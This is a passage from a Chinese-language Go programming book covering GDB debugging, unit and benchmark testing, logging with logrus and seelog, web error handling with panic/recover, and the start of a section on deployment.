簡寫命令 `p`，用來列印變數或者其他資訊，後面跟上需要列印的變數名，當然還有一些很有用的函式 `$len()` 和 `$cap()`，用來返回當前 `string`、`slices` 或者 `maps` 的長度和容量。

- whatis

用來顯示當前變數的型別，後面跟上變數名，例如 `whatis msg`，顯示如下：

```
type = struct string
```

- next

簡寫命令 `n`，用來單步除錯，跳到下一步，當有斷點之後，可以輸入 `n` 跳轉到下一步繼續執行

- continue

簡稱命令 `c`，用來跳出當前斷點處，後面可以跟引數 `N`，跳過多少次斷點

- set variable

該命令用來改變執行過程中的變數值，格式如：`set variable <var>=<value>`

## 除錯過程

我們透過下面這個程式碼來示範如何透過 GDB 來除錯 Go 程式，下面是將要示範的程式碼：

```
package main

import (
    "fmt"
    "time"
)

func counting(c chan<- int) {
    for i := 0; i < 10; i++ {
        time.Sleep(2 * time.Second)
        c <- i
    }
    close(c)
}

func main() {
    msg := "Starting main"
    fmt.Println(msg)
    bus := make(chan int)
    msg = "starting a gofunc"
    go counting(bus)
    for count := range bus {
        fmt.Println("count:", count)
    }
}
```

編譯檔案，產生可執行檔案 `gdbfile`:

```
go build -gcflags "-N -l" gdbfile.go
```

透過 `gdb` 命令啟動除錯：

```
gdb gdbfile
```

啓動之後首先看看這個程式是不是可以執行起來，只要輸入 `run` 命令 Enter 後程序就開始執行，程式正常的話可以看到程式輸出如下，和我們在命令列直接執行程式輸出是一樣的：

```
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
```

好了，現在我們已經知道怎麼讓程式跑起來了，接下來開始給程式碼設定斷點：

```
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23          fmt.Println("count:", count)
```

上面例子 `b 23` 表示在第 23 行設定了斷點，之後輸入 `run` 開始執行程式。現在程式在前面設定斷點的地方停住了，我們需要檢視斷點相應上下文的原始碼，輸入 `list` 就可以看到原始碼顯示從當前停止行的前五行開始：

```
(gdb) list
18      fmt.Println(msg)
19      bus := make(chan int)
20      msg = "starting a gofunc"
21      go counting(bus)
22      for count := range bus {
23          fmt.Println("count:", count)
24      }
25  }
```

現在 GDB 在運行當前的程式的環境中已經保留了一些有用的除錯資訊，我們只需打印出相應的變數，檢視相應變數的型別及值：

```
(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
```

接下來該讓程式繼續往下執行，請繼續看下面的命令

```
(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
```

每次輸入 `c` 之後都會執行一次程式碼，又跳到下一次 `for` 迴圈，繼續打印出來相應的資訊。

設想目前需要改變上下文相關變數的資訊，跳過一些過程，並繼續執行下一步，得出修改後想要的結果：

```
(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
```



最後稍微思考一下，前面整個程式執行的過程中到底建立了多少個 goroutine，每個 goroutine 都在做什麼：

```
(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x00000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x000000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x00000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x000000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x00000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x00000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
```

透過檢視 goroutines 的命令我們可以清楚地瞭解 goroutine 內部是怎麼執行的，每個函式的呼叫順序已經明明白白地顯示出來了。

## 小結

本小節我們介紹了 GDB 除錯 Go 程式的一些基本命令，包

括 `run`、`print`、`info`、`set variable`、`continue`、`list`、`break` 等經常用到的除錯命令，透過上面的例子示範，我相信讀者已經對於透過 GDB 除錯 Go 程式有了基本的理解，如果你想取得更多的除錯技巧請參考官方網站的 GDB 除錯手冊，還有 GDB 官方網站的手冊。

## links

- [目錄](#)
- 上一節: [錯誤處理](#)
- 下一節: [Go 怎麼寫測試案例](#)

## 11.3 Go 怎麼寫測試案例

開發程式其中很重要的一點是測試，我們如何保證程式碼的品質，如何保證每個函式是可執行，執行結果是正確的，又如何保證寫出來的程式碼效能是好的，我們知道單元測試的重點在於發現程式設計或實現的邏輯錯誤，使問題及早暴露，便於問題的定位解決，而效能測試的重點在於發現程式設計上的一些問題，讓線上的程式能夠在高併發的情況下還能保持穩定。本小節將帶著這一連串的問題來講解 Go 語言中如何來實現單元測試和效能測試。

Go 語言中自帶有一個輕量級的測試框架 `testing` 和自帶的 `go test` 命令來實現單元測試和效能測試，`testing` 框架和其他語言中的測試框架類似，你可以基於這個框架寫針對相應函式的測試案例，也可以基於該框架寫相應的壓力測試案例，那麼接下來讓我們一一來看一下怎麼寫。

另外建議安裝 `gotests` 外掛自動產生測試程式碼：

```
go get -u -v github.com/cweill/gotests/...
```

### 如何編寫測試案例

由於 `go test` 命令只能在一個相應的目錄下執行所有檔案，所以我們接下來新建一個專案目錄 `gotest`，這樣我們所有的程式碼和測試程式碼都在這個目錄下。

接下來我們在該目錄下面建立兩個檔案：`gotest.go` 和 `gotest_test.go`

1. `gotest.go`: 這個檔案裡面我們是建立了一個套件，裡面有一個函式實現了除法運算：

```
package gotest

import (
    "errors"
)

func Division(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New("除數不能爲 0")
    }

    return a / b, nil
}
```

1. `gotest_test.go`:這是我們的單元測試檔案，但是記住下面的這些原則：

- 檔名必須是 `_test.go` 結尾的，這樣在執行 `go test` 的時候才會執行到相應的程式碼
- 你必須 `import testing` 這個包
- 所有的測試案例函式必須是 `Test` 開頭
- 測試案例會按照原始碼中寫的順序依次執行
- 測試函式 `TestXxx()` 的引數是 `testing.T`，我們可以使用該型別來記錄錯誤或者是測試狀態
- 測試格式：`func TestXxx (t *testing.T)`，`Xxx` 部分可以爲任意的字母數字的組合，但是首字母不能是小寫字母[a-z]，例如 `Testintdiv` 是錯誤的函式名。
- 函式中透過呼叫 `testing.T` 的 `Error`，`Errorf`，`FailNow`，`Fatal`，`FatalIf` 方法，說明測試不透過，呼叫 `Log` 方法用來記錄測試的資訊。

下面是我們的測試案例的程式碼：

```
package gotest

import (
    "testing"
)

func Test_Division_1(t *testing.T) {
    if i, e := Division(6, 2); i != 3 || e != nil { //try a
unit test on function
        t.Error("除法函式測試沒透過") // 如果不是如預期的那麼就報錯
    } else {
        t.Log("第一個測試通過了") //記錄一些你期望記錄的資訊
    }
}

func Test_Division_2(t *testing.T) {
    t.Error("就是不透過")
}
```

我們在專案目錄下面執行`go test`，就會顯示如下資訊：

```
--- FAIL: Test_Division_2 (0.00 seconds)
    gotest_test.go:16: 就是不透過
FAIL
exit status 1
FAIL    gotest    0.013s
```

從這個結果顯示測試沒有透過，因為在第二個測試函式中我們寫死了測試不透過的程式碼`t.Error`，那麼我們的第一個函式執行的情況怎麼樣呢？預設情況下執行`go test`是不會顯示測試透過的資訊的，我們需要帶上引數`go test -v`，這樣就會顯示如下資訊：

```
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
    gotest_test.go:11: 第一個測試通過了
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
    gotest_test.go:16: 就是不透過
FAIL
exit status 1
FAIL    gotest    0.012s
```

上面的輸出詳細的展示了這個測試的過程，我們看到測試函式 1`Test\_Division\_1` 測試透過，而測試函式 2`Test\_Division\_2` 測試失敗了，最後得出結論測試不透過。接下來我們把測試函式 2 修改成如下程式碼：

```
func Test_Division_2(t *testing.T) {
    if _, e := Division(6, 0); e == nil { //try a unit test
on function
        t.Error("Division did not work as expected.") // 如果
不是如預期的那麼就報錯
    } else {
        t.Log("one test passed.", e) //記錄一些你期望記錄的資訊
    }
}
```

然後我們執行`go test -v`，就顯示如下資訊，測試通過了：

```
=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
    gotest_test.go:11: 第一個測試通過了
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
    gotest_test.go:20: one test passed. 除數不能為 0

PASS
ok      gotest      0.013s
```

## 如何編寫壓力測試

壓力測試用來檢測函式(方法)的效能，和編寫單元功能測試的方法類似，此處不再贅述，但需要注意以下幾點：

- 壓力測試案例必須遵循如下格式，其中 XXX 可以是任意字母數字的組合，但是首字母不能是小寫字母

```
func BenchmarkXXX(b *testing.B) { ... }
```

- `go test` 不會預設執行壓力測試的函式，如果要執行壓力測試需要帶上引數 `-test.bench`，語法: `-test.bench="test_name_regex"`，例如 `go test -test.bench=".*"` 表示測試全部的壓力測試函式
- 在壓力測試案例中，請記得在迴圈體內使用 `testing.B.N`，以使測試可以正常的執行
- 檔名也必須以 `_test.go` 結尾

下面我們新建一個壓力測試檔案 `webbench_test.go`，程式碼如下所示：

```
package gotest

import (
    "testing"
)

func Benchmark_Division(b *testing.B) {
    for i := 0; i < b.N; i++ { //use b.N for looping
        Division(4, 5)
    }
}

func Benchmark_TimeConsumingFunction(b *testing.B) {
    b.StopTimer() //呼叫該函式停止壓力測試的時間計數

    //做一些初始化的工作，例如讀取檔案資料，資料庫連線之類別的，
    //這樣這些時間不影響我們測試函式本身的效能

    b.StartTimer() //重新開始時間
    for i := 0; i < b.N; i++ {
        Division(4, 5)
    }
}
```

我們執行命令 `go test webbench_test.go -test.bench=".*"` ，可以看到如下結果：

```
Benchmark_Division-4          5000000000
      7.76 ns/op           456 B/op           14 allocs/op
Benchmark_TimeConsumingFunction-4  5000000000
      7.80 ns/op           224 B/op            4 allocs/op
PASS
ok      gotest      9.364s
```

上面的結果顯示我們沒有執行任何 `TestXXX` 的單元測試函式，顯示的結果只執行了壓力測試函式，第一條顯示了 `Benchmark_Division` 執行了 5000000000 次，每次的執行平均時間是 7.76 納秒，第二條顯示了



`Benchmark_TimeConsumingFunction` 執行了 500000000，每次的平均執行時間是 7.80 納秒。最後一條顯示總共的執行時間。

## 小結

透過上面對單元測試和壓力測試的學習，我們可以看到 `testing` 套件很輕量，編寫單元測試和壓力測試案例非常簡單，配合內建的 `go test` 命令就可以非常方便的進行測試，這樣在我們每次修改完程式碼，執行一下 `go test` 就可以簡單的完成迴歸測試了。

## links

- [目錄](#)
- 上一節: [使用 GDB 除錯](#)
- 下一節: [小結](#)

## 11.4 小結

本章我們透過三個小節分別介紹了 Go 語言中如何處理錯誤，如何設計錯誤處理，然後第二小節介紹瞭如何透過 GDB 來除錯程式，透過 GDB 我們可以單步除錯、可以檢視變數、修改變數、列印執行過程等，最後我們介紹瞭如何利用 Go 語言自帶的輕量級框架 `testing` 來編寫單元測試和壓力測試，使用 `go test` 就可以方便的執行這些測試，使得我們將來程式碼升級修改之後很方便的進行迴歸測試。這一章也許對於你編寫程式邏輯沒有任何幫助，但是對於你編寫出來的程式碼保持高品質是至關重要的，因為一個好的 Web 應用必定有良好的錯誤處理機制(錯誤提示的友好、可擴充套件性)、有好的單元測試和壓力測試以保證上線之後程式碼能夠保持良好的效能和按預期的執行。

## links

- [目錄](#)
- 上一節: [Go 怎麼寫測試案例](#)
- 下一節: [部署與維護](#)

## 12 部署與維護

到目前為止，我們前面已經介紹瞭如何開發程式、除錯程式以及測試程式，正如人們常說的：開發最後的 10% 需要花費 90% 的時間，所以這一章我們將強調這最後的 10% 部分，要真正成為讓人信任並使用的優秀應用，需要考慮到一些細節，以上所說的 10% 就是指這些小細節。

本章我們將透過四個小節來介紹這些小細節的處理，第一小節介紹如何在生產服務上記錄程式產生的日誌，如何記錄日誌，第二小節介紹發生錯誤時我們的程式如何處理，如何保證儘量少的影響到使用者的訪問，第三小節介紹如何來部署 Go 的獨立程式，由於目前 Go 程式還無法像 C 那樣寫成 `daemon`，那麼我們如何管理這樣的程序程式後臺執行呢？第四小節將介紹應用資料的備份和恢復，儘量保證應用在崩潰的情況能夠保持資料的完整性。

### 目錄



### links

- [目錄](#)
- [上一章: 第十一章總結](#)
- [下一節: 應用日誌](#)

## 12.1 應用日誌

我們期望開發的 Web 應用程式能夠把整個程式執行過程中出現的各種事件一一記錄下來，Go 語言中提供了一個簡易的 `log` 套件，我們使用該套件可以方便的實現日誌記錄的功能，這些日誌都是基於 `fmt` 套件的列印再結合 `panic` 之類別的函式來進行一般的列印、丟擲錯誤處理。Go 目前標準套件只是包含了簡單的功能，如果我們想把我們的應用日誌儲存到檔案，然後又能夠結合日誌實現很多複雜的功能（編寫過 Java 或者 C++ 的讀者應該都使用過 `log4j` 和 `log4cpp` 之類別的日誌工具），可以使用第三方開發的日誌系統：[logrus](#) 和 [seelog](#)，它們實現了很強大的日誌功能，可以結合自己專案選擇。接下來我們介紹如何透過該日誌系統來實現我們應用的日誌功能。

### logrus 介紹

`logrus` 是用 Go 語言實現的一個日誌系統，與標準函式庫 `log` 完全相容並且核心 API 很穩定，是 Go 語言目前最活躍的日誌函式庫

首先安裝 `logrus`

```
go get -u github.com/sirupsen/logrus
```

簡單例子:

```
package main

import (
    log "github.com/Sirupsen/logrus"
)

func main() {
    log.WithFields(log.Fields{
        "animal": "walrus",
    }).Info("A walrus appears")
}
```

## 基於 **logrus** 的自訂日誌處理

```
package main

import (
    "os"

    log "github.com/Sirupsen/logrus"
)

func init() {
    // 日誌格式化為 JSON 而不是預設的 ASCII

    log.SetFormatter(&log.JSONFormatter{})

    // 輸出 stdout 而不是預設的 stderr，也可以是一個檔案
    log.SetOutput(os.Stdout)

    // 只記錄嚴重或以上警告
    log.SetLevel(log.WarnLevel)
}

func main() {
    log.WithFields(log.Fields{
```

```
        "animal": "walrus",
        "size":    10,
    }).Info("A group of walrus emerges from the ocean")

    log.WithFields(log.Fields{
        "omg":      true,
        "number": 122,
    }).Warn("The group's number increased tremendously!")

    log.WithFields(log.Fields{
        "omg":      true,
        "number": 100,
    }).Fatal("The ice breaks!")

    // 透過日誌語句重用欄位
    // logrus.Entry 返回自 WithFields()
    contextLogger := log.WithFields(log.Fields{
        "common": "this is a common field",
        "other":  "I also should be logged always",
    })

    contextLogger.Info("I'll be logged with common and other field")
    contextLogger.Info("Me too")
}
```

## seelog 介紹

seelog 是用 Go 語言實現的一個日誌系統，它提供了一些簡單的函式來實現複雜的日誌分配、過濾和格式化。主要有如下特性：

- XML 的動態配置，可以不用重新編譯程式而動態的載入配置資訊
- 支援熱更新，能夠動態改變配置而不需要重啓應用
- 支援多輸出流，能夠同時把日誌輸出到多種流中、例如檔案流、網路流等
- 支援不同的日誌輸出
  - 命令列輸出
  - 檔案輸出
  - 快取輸出

- 支援 log rotate
- SMTP 郵件

上面只列舉了部分特性，**seelog** 是一個特別強大的日誌處理系統，詳細的內容請參看官方 [wiki](#)。接下來我將簡要介紹一下如何在專案中使用它：

首先安裝 **seelog**

```
go get -u github.com/cihub/seelog
```

然後我們來看一個簡單的例子：

```
package main

import log "github.com/cihub/seelog"

func main() {
    defer log.Flush()
    log.Info("Hello from Seelog!")
}
```

編譯後執行如果出現了 `Hello from seelog`，說明 **seelog** 日誌系統已經成功安裝並且可以正常運行了。

## 基於 **seelog** 的自訂日誌處理

**seelog** 支援自訂日誌處理，下面是我基於它自訂的日誌處理套件的部分內容：

```
package logs

import (
    // "errors"
    "fmt"
    // "io"
```

```
    seelog "github.com/cihub/seelog"
)

var Logger seelog.LoggerInterface

func loadAppConfig() {
    appConfig := `
<seelog minlevel="warn">
    <outputs formatid="common">
        <rollingfile type="size" filename="/data/logs/roll.log"
maxsize="100000" maxrolls="5"/>
        <filter levels="critical">
            <file path="/data/logs/critical.log" formatid="critical"/>
            <smtp formatid="criticalemail" senderaddress="astaxi
e@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com"
hostport="587" username="mailusername" password="mailpassword">
                <recipient address="xiemengjun@gmail.com"/>
            </smtp>
        </filter>
    </outputs>
    <formats>
        <format id="common" format="%Date/%Time [%LEV] %Msg%n" /
>
        <format id="critical" format="%File %FullPath %Func %Msg
%n" />
        <format id="criticalemail" format="Critical error on our
server!\n    %Time %Date %RelFile %Func %Msg \nSent by Seelog"/
>
    </formats>
</seelog>
`

    logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
    if err != nil {
        fmt.Println(err)
        return
    }
    UseLogger(logger)
}
```



```
func init() {
    DisableLog()
    loadAppConfig()
}

// DisableLog disables all library log output
func DisableLog() {
    Logger = seelog.Disabled
}

// UseLogger uses a specified seelog.LoggerInterface to output l
ibrary log.
// Use this func if you are using Seelog logging system in your
app.
func UseLogger(newLogger seelog.LoggerInterface) {
    Logger = newLogger
}
```

上面主要實現了三個函式，

- `DisableLog`

初始化全域性變數 `Logger` 為 `seelog` 的禁用狀態，主要爲了防止 `Logger` 被多次初始化

- `loadAppConfig`

根據配置檔案初始化 `seelog` 的配置資訊，這裡我們把配置檔案透過字串讀取設定好了，當然也可以透過讀取 XML 檔案。裡面的配置說明如下：

- `seelog`

`minlevel` 引數可選，如果被配置，高於或等於此級別的日誌會被記錄，同理 `maxlevel`。

- `outputs`

輸出資訊的目的地，這裡分成了兩份資料，一份記錄到 `log rotate` 檔案裡面。另一份設定了 `filter`，如果這個錯誤級別是 `critical`，那麼將傳送報警郵件。

- formats

定義了各種日誌的格式

- UseLogger

設定當前的日誌器為相應的日誌處理

上面我們定義了一個自訂的日誌處理套件，下面就是使用範例：

```
package main

import (
    "net/http"
    "project/logs"
    "project/configs"
    "project/routes"
)

func main() {
    addr, _ := configs.MainConfig.String("server", "addr")
    logs.Logger.Info("Start server at:%v", addr)
    err := http.ListenAndServe(addr, routes.NewMux())
    logs.Logger.Critical("Server err:%v", err)
}
```

## 發生錯誤傳送郵件

上面的例子解釋瞭如何設定傳送郵件，我們透過如下的 `smtp` 配置用來發送郵件：

```
<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com"
sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="58
7" username="mailusername" password="mailpassword">
    <recipient address="xiemengjun@gmail.com"/>
</smtp>
```

郵件的格式透過 `criticalemail` 配置，然後透過其他的配置傳送郵件伺服器的配置，透過 `recipient` 配置接收郵件的使用者，如果有多個使用者可以再新增一行。

要測試這個程式碼是否正常工作，可以在程式碼中增加類似下面的一個假訊息。不過記住過後要把它刪除，否則上線之後就會收到很多垃圾郵件。

```
logs.Logger.Critical("test Critical message")
```

現在，只要我們的應用在線上記錄一個 `Critical` 的資訊，你的郵箱就會收到一個 `Email`，這樣一旦線上的系統出現問題，你就能立馬透過郵件獲知，就能及時的進行處理。

## 使用應用日誌

對於應用日誌，每個人的應用場景可能會各不相同，有些人利用應用日誌來做資料分析，有些人利用應用日誌來做效能分析，有些人來做使用者行為分析，還有些就是純粹的記錄，以方便應用出現問題的時候輔助查詢問題。

舉一個例子，我們需要追蹤使用者嘗試登陸系統的操作。這裡會把成功與不成功的嘗試都記錄下來。記錄成功的使用 `"Info"` 日誌級別，而不成功的使用 `"warn"` 級別。如果想查詢所有不成功的登陸，我們可以利用 `linux` 的 `grep` 之類別的命令工具，如下：

```
# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44
username password
```

透過這種方式我們就可以很方便的查詢相應的資訊，這樣有利於我們針對應用日誌做一些統計和分析。另外我們還需要考慮日誌的大小，對於一個高流量的 `Web` 應用來說，日誌的增長是相當可怕的，所以我們在 `seelog` 的配置檔案裡面設定了 `logrotate`，這樣就能保證日誌檔案不會因為不斷變大而導致我們的磁碟空間不夠引起問題。

## 小結

透過上面對 **seelog** 系統及如何基於它進行自訂日誌系統的學習，現在我們可以很輕鬆的隨需建構一個合適的功能強大的日誌處理系統了。日誌處理系統為資料分析提供了可靠的資料來源，比如透過對日誌的分析，我們可以進一步優化系統，或者應用出現問題時方便查詢定位問題，另外 **seelog** 也提供了日誌分級功能，透過對 **minlevel** 的配置，我們可以很方便的設定測試或釋出版本的輸出訊息級別。

## links

- [目錄](#)
- 上一章: [部署與維護](#)
- 下一節: [網站錯誤處理](#)

## 12.2 網站錯誤處理

我們的 Web 應用一旦上線之後，那麼各種錯誤出現的概率都有，Web 應用日常執行中可能出現多種錯誤，具體如下所示：

- 資料庫錯誤：指與訪問資料庫伺服器或資料相關的錯誤。例如，以下可能出現的一些資料庫錯誤。
  - 連線錯誤：這一類別錯誤可能是資料庫伺服器網路斷開、使用者名稱密碼不正確、或者資料庫不存在。
  - 查詢錯誤：使用的 SQL 非法導致錯誤，這樣子 SQL 錯誤如果程式經過嚴格的測試應該可以避免。
  - 資料錯誤：資料庫中的約束衝突，例如一個唯一欄位中插入一條重複主鍵的值就會報錯，但是如果你的應用程式在上線之前經過了嚴格的測試也是可以避免這類別問題。
- 應用執行時錯誤：這類別錯誤範圍很廣，涵蓋了程式碼中出現的幾乎所有錯誤。可能的應用錯誤的情況如下：
  - 檔案系統和許可權：應用讀取不存在的檔案，或者讀取沒有許可權的檔案、或者寫入一個不允許寫入的檔案，這些都會導致一個錯誤。應用讀取的檔案如果格式不正確也會報錯，例如配置檔案應該是 ini 的配置格式，而設定成了 json 格式就會報錯。
  - 第三方應用：如果我們的應用程式耦合了其他第三方介面程式，例如應用程式發表文章之後自動呼叫接發微博的介面，所以這個介面必須正常執行才能完成我們發表一篇文章的功能。
- HTTP 錯誤：這些錯誤是根據使用者的請求出現的錯誤，最常見的就是 404 錯誤。雖然可能會出現很多不同的錯誤，但其中比較常見的錯誤還有 401 未授權錯誤(需要認證才能訪問的資源)、403 禁止錯誤(不允許使用者訪問的資源)和 503 錯誤(程式內部出錯)。
- 作業系統出錯：這類別錯誤都是由於應用程式上的作業系統出現錯誤引起的，主要有作業系統的資源被分配完了，導致宕機，還有作業系統的磁碟滿了，導致無法寫入，這樣就會引起很多錯誤。
- 網路出錯：指兩方面的錯誤，一方面是使用者請求應用程式的時候出現網路斷開，這樣就導致連線中斷，這種錯誤不會造成應用程式的崩潰，但是會影響使用者訪問的效果；另一方面是應用程式讀取其他網路上的資料，其他網路斷開

會導致讀取失敗，這種需要對應用程式做有效的測試，能夠避免這類別問題出現的情況下程式崩潰。

## 錯誤處理的目標

在實現錯誤處理之前，我們必須明確錯誤處理想要達到的目標是什麼，錯誤處理系統應該完成以下工作：

- 通知訪問使用者出現錯誤了：不論出現的是一個系統錯誤還是使用者錯誤，使用者都應當知道 Web 應用出了問題，使用者的這次請求無法正確的完成了。例如，對於使用者的錯誤請求，我們顯示一個統一的錯誤頁面(404.html)。出現系統錯誤時，我們透過自訂的錯誤頁面顯示系統暫時不可用之類別的錯誤頁面(error.html)。
- 記錄錯誤：系統出現錯誤，一般就是我們呼叫函式的時候返回 `err` 不為 `nil` 的情況，可以使用前面小節介紹的日誌系統記錄到日誌檔案。如果是一些致命錯誤，則透過郵件通知系統管理員。一般 404 之類別的錯誤不需要傳送郵件，只需要記錄到日誌系統。
- 回滾當前的請求操作：如果一個使用者請求過程中出現了一個伺服器錯誤，那麼已完成的操作需要回滾。下面來看一個例子：一個系統將使用者遞交的表單儲存到資料庫，並將這個資料遞交到一個第三方伺服器，但是第三方伺服器掛了，這就導致一個錯誤，那麼先前儲存到資料庫的表單資料應該刪除(應告知無效)，而且應該通知使用者系統出現錯誤了。
- 保證現有程式可執行可服務：我們知道沒有人能保證程式一定能夠一直正常的執行著，萬一哪一天程式崩潰了，那麼我們就需要記錄錯誤，然後立刻讓程式重新執行起來，讓程式繼續提供服務，然後再通知系統管理員，透過日誌等找出問題。

## 如何處理錯誤

錯誤處理其實我們已經在十一章第一小節裡面有過介紹如何設計錯誤處理，這裡我們再從一個例子詳細的講解一下，如何來處理不同的錯誤：

- 通知使用者出現錯誤：

通知使用者在訪問頁面的時候我們可以有兩種錯誤：404.html 和 error.html，下面分別顯示了錯誤頁面的原始碼：

```
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; char
set=utf-8">
  <title>找不到頁面</title>
  <meta name="viewport" content="width=device-width, initi
al-scale=1.0">

</head>
<body>
<div class="container">
  <div class="row">
    <div class="span10">
      <div class="hero-unit">
        <h1>404!</h1>
        <p>{{.ErrorInfo}}</p>
      </div>
    </div><!--/span-->
  </div>
</div>
</body>
</html>
```

另一個原始碼：

```
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; char
set=utf-8">
  <title>系統錯誤頁面</title>
  <meta name="viewport" content="width=device-width, initi
al-scale=1.0">

</head>
<body>
<div class="container">
  <div class="row">
    <div class="span10">
      <div class="hero-unit">
        <h1>系統暫時不可用!</h1>
        <p>{{.ErrorInfo}}</p>
      </div>
    </div><!--/span-->
  </div>
</div>
</body>
</html>
```

404 的錯誤處理邏輯，如果是系統的錯誤也是類似的操作，同時我們看到在：



```
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    NotFound404(w, r)
    return
}

func NotFound404(w http.ResponseWriter, r *http.Request) {
    log.Error("頁面找不到") //記錄錯誤日誌
    t, _ = t.ParseFiles("tmpl/404.html", nil) //解析範本檔案
    ErrorInfo := "檔案找不到" //取得當前報錯資訊
    t.Execute(w, ErrorInfo) //執行範本的 merger 操作
}

func SystemError(w http.ResponseWriter, r *http.Request) {
    log.Critical("系統錯誤") //系統錯誤觸發了 Critical，那麼不僅會記錄日誌還會發送郵件
    t, _ = t.ParseFiles("tmpl/error.html", nil) //解析範本檔案

    ErrorInfo := "系統暫時不可用" //取得當前報錯資訊
    t.Execute(w, ErrorInfo) //執行範本的 merger 操作
}
```

## 如何處理異常

我們知道在很多其他語言中有 `try...catch` 關鍵詞，用來捕獲異常情況，但是其實很多錯誤都是可以預期發生的，而不需要異常處理，應該當做錯誤來處理，這也是為什麼 Go 語言採用了函式返回錯誤的設計，這些函式不會 `panic`，例如如果一個檔案找不到，`os.Open` 返回一個錯誤，它不會 `panic`；如果你向一箇中斷的網路連線寫資料，`net.Conn` 系列型別的 `Write` 函式返回一個錯誤，它們不會 `panic`。這些狀態在這樣的程式裡都是可以預期的。你知道這些操作可能會失敗，因為設計者已經用返回錯誤清楚地表明瞭這一點。這就是上面所講的可以預期發生的錯誤。

但是還有一種情況，有一些操作幾乎不可能失敗，而且在一些特定的情況下也沒有辦法返回錯誤，也無法繼續執行，這樣情況就應該 `panic`。舉個例子：如果一個程式計算 `x[j]`，但是 `j` 越界了，這部分程式碼就會導致 `panic`，像這樣的一個不可預期嚴重錯誤就會引起 `panic`，在預設情況下它會殺掉程序，它允許一個正在執行這部分程式碼的 `goroutine` 從發生錯誤的 `panic` 中恢復執行，發生 `panic` 之後，這部分程式碼後面的函式和程式碼都不會繼續執行，這是 Go 特意這樣設計的，因為要區別於錯誤和異常，`panic` 其實就是異常處理。如下程式碼，我們期望透過 `uid` 來取得 `User` 中的 `username` 資訊，但是如果 `uid` 越界了就會丟擲異常，這個時候如果我們沒有 `recover` 機制，程序就會被殺死，從而導致程式不可服務。因此為了程式的健壯性，在一些地方需要建立 `recover` 機制。

```
func GetUser(uid int) (username string) {
    defer func() {
        if x := recover(); x != nil {
            username = ""
        }
    }()

    username = User[uid]
    return
}
```

上面介紹了錯誤和異常的區別，那麼我們在開發程式的時候如何來設計呢？規則很簡單：如果你定義的函式有可能失敗，它就應該返回一個錯誤。當我呼叫其他 `package` 的函式時，如果這個函式實現的很好，我不需要擔心它會 `panic`，除非有真正的異常情況發生，即使那樣也不應該是我去處理它。而 `panic` 和 `recover` 是針對自己開發 `package` 裡面實現的邏輯，針對一些特殊情況來設計。

## 小結

本小節總結了當我們的 Web 應用部署之後如何處理各種錯誤：網路錯誤、資料庫錯誤、作業系統錯誤等，當錯誤發生時，我們的程式如何來正確處理：顯示友好的出錯介面、回滾操作、記錄日誌、通知管理員等操作，最後介紹瞭如何來正確處理

錯誤和異常。一般的程式中錯誤和異常很容易混淆的，但是在 Go 中錯誤和異常是有明顯的區分，所以告訴我們在程式設計中處理錯誤和異常應該遵循怎麼樣的原則。

## links

- [目錄](#)
- [上一章: 應用日誌](#)
- [下一節: 應用部署](#)

## 12.3 應用部署

程式開發完畢之後，我們現在要部署 Web 應用程式了，但是我們如何來部署這些應用程式呢？因為 Go 程式編譯之後是一個可執行檔案，編寫過 C 程式的讀者一定知道採用 `daemon` 就可以完美的實現程式後臺持續執行，但是目前 Go 還無法完美的實現 `daemon`，因此，針對 Go 的應用程式部署，我們可以利用第三方工具來管理，第三方的工具有很多，例如 `Supervisord`、`upstart`、`daemontools` 等，這小節我介紹目前自己系統中採用的工具 `Supervisord`。

### daemon

